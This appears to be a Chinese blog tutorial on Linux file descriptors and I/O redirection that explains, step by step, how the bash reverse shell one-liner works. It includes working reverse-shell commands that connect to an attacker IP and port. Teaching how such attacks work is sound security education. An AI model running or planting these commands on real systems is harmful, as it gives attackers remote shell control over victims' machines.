前置知识
文件操作符
可以理解为linux为文件这个“人”分配的身份证号 通过该身份证号(即文件操作符),可实现文件的读写操作
Linux启动时默认打开的文件操作符(所有的shellm命令都会默认打开下述三个文件描述符)
标准输入 standard input 0 (默认设备键盘)
标准输出 standard output 1 (默认设备显示器)
错误输出 error output 2 (默认设备显示器)
所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出
重定向
应用场景
需要让输出不显示在显示器上,而是输出到文件或者其他设备的情况下 (显示器实质也是文件,重定向实质是重定向文件操作符)
分类
输入重定向 <
<<
输出重定向 >
>>
&的作用
1 | [命令] >& [文件名] |
命令分解
命令
1 | bash -i >& /dev/[tcp|udp]/[ip]/[port] 0>&1 |
各部分解释
bash -i
1 | 在本地打开一个bash |
/dev/[tcp|udp]/[ip]/[port]
1 | 建立tcp或者udp连接 |
bash -i >& /dev/[tcp|udp]/[ip]/[port]
1 | 将新建的bash中的标准输出(1)和标准错误(2)的输出重定向到/dev/[tcp|udp]/[ip]/[port]这个文件中,即传递到攻击机中 |
举例说明
- 可以理解目标机选择性的将0,1,2重定向到攻击机中。
将标准输入重定向到攻击机
1 | 攻击前目标机中无1这个文件 |
1 | 监听并连接 |
1 | 在攻击机中输入touch 1,中断连接,结果如下 |
将标准输出重定向到攻击机
1 | bash -i 0> /dev/tcp/192.168.1.103/9999 1>&0 2>&0 |
1 | 因为将标准输出重定向到了攻击机,所以在目标机中,命令的回显会显示在攻击机中,而攻击机中输入命令是无效的 |
将0,1,2都重定向到攻击机
这也就实现了反弹shell的功能
1 | 连接 |
可以看到由于0,1,2都被重定向,所以输入、输出、报错都显示在了攻击机这边
http://www.gtfly.top/2019/05/08/2019-05-08-%E5%8F%8D%E5%BC%B9shell/